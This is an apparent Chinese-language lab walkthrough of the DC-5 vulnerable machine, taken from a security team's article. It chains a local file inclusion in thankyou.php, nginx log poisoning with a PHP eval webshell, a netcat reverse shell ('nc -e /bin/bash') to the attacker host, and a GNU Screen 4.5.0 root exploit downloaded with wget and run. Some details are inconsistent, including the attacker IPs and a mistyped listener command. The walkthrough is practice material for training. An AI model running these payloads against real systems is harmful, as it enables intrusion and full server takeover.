靶机练习-DC-5
2023-5-12 00:1:42 Author: 白帽子(查看原文) 阅读量:12 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

环境

Vulhub DC-5靶机,vmware环境,kali虚拟机一台(ip为192.168.8.245)

复现过程

攻击机:kali 192.168.11.143
靶机:Linux IP自动获取
攻击机与靶机都使用net网络连接,在同一网段下

环境配置:

1、Vulhub下载靶机,并导入vmware

2、网络配置中选择更改为桥接模式,桥接至kali所在网卡(这里是eth0)

3、重启虚拟机

信息收集:

先进行主机发现

arp-scan -l

后面标识VMware的即为目标

先进行nmap端口扫描

80,111端口服务开启

先访问 http://192.168.8.243

界面的信息略过,发现在contact.php界面有留言功能

先尝试下xss注入,没什么结果

<scRipt>alert('Xss')</scriPt>

在尝试这几个聊天框的时候发现CopyRight的年份一直在变化。F5刷新几次,仍在刷新说明和上传了留言无关,是其中的copyright自己在变化。

返回路径contactus,多次刷新,copyright并没有发生变化。

说明问题出在thankyou.php中。

dirsearch扫一下目录

dirsearch -u [http://192.168.8.243](http://192.168.8.243)

/images路径 403,只有footer.php可以访问。

同时刷新会产生变化,这一点与前面提交留言后,弹出的/thankyou.php路径下的CopyRight一直变化是一致的。

可以猜测是页面/thankyou.php 中存在文件包含,包含了页面footer.php.

漏洞利用

先尝试 payload file=/etc/passwd

既然可以读取密码文件,那也可以读取日志文件,方便我们读取木马

footer.php界面出现了passwd数据,证明这里存在文件上传漏洞

但目前没有找到login界面,先上传一句话木马

<?php @eval($_POST['shell']);?>

返回200,注入已经成功了,但目前我们不知道其路径,还不能利用

这里可以利用系统工作日志

从之前nmap上获得了目标的中间件信息,网上搜到该版本的日志路径

/var/log/nginx/access.log

传入日志,发现之前的注入记录,包含木马在内都显示了出来

phpinfo()界面

蚁剑连接木马

URL为:

http://192.168.8.243/thankyou.php?file=/var/log/nginx/access.log

连接一句话木马,获得 www-data权限

提权

拿到普通用户就要开始想办法提权了

反弹shell

kali的IP为 192.168.8.245

1、在kali中开启监听

nv -lvvp 8888

2、在webshell中 开启反向连接

nc -e /bin/bash 192.168.8.245 8888

3、连接成功,由此建立了kali至目标主机的长期连接

4、查找suid权限用户,尝试提权

find / -perm -4000 2>/dev/null

查找系统所有文件中拥有suid特殊权限的文件 -perm匹配权限4000.

错误信息返回至 /dev/null

5、在kali中另起控制台,寻找能利用的点

searchsploit xxx

6、尝试过后,screen 4.5.0有能够利用的exp,是一个本地提权漏洞

searchsploit screen 4.5.0

GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。

7、上传脚本文件

上传41154.sh脚本文件到目标靶机;本地开启8888端口,使用wget下载该脚本文件:

Kali

cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./41154.sh

cat 41154.sh# 在哪个目录运行该命令,就会列出哪个目录的文件
python -m http.server 8888

目标主机

wget [http://192.168.8.245/41154.sh](http://192.168.8.245/41154.sh)

使用蚁剑wget

8、执行脚本文件

chmod 777 41154.sh
./41154.sh

文件编译错误

9、报错,经查验 是这个exp文件有问题,按照区块的EOF提示符拆分脚本。

(1)vi libhax.c

(2)vi rootshell.c

(3)vi run.sh

编译文件

gcc -fPIC -shared -ldl -o libhax.so libhax.c

gcc -o rootshell rootshell.c

10.重新上传

通过wget上传三个文件

11、为run.sh赋予权限并运行,获得root权限

chmod 777 run.sh
./run.sh
whoami

12、root目录下取得flag

cd /root
ls

提权

文件包含漏洞产生的原因有 :

1.程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件

2.用户能够控制该动态变量

任何引入外部文件的地方都有可能存在文件包含漏洞,要仔细观察。

限制用户的输入是确保安全的前提。

根据泄露出的版本寻找对应版本的日志位置、漏洞。

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246688&idx=1&sn=862acfc72f30d944ac21a4079db01a27&chksm=82ea5589b59ddc9f300de876e8d179165718afc54a5cae94f5847154f975773f3f691ba8b5f8#rd
如有侵权请联系:admin#unsafe.sh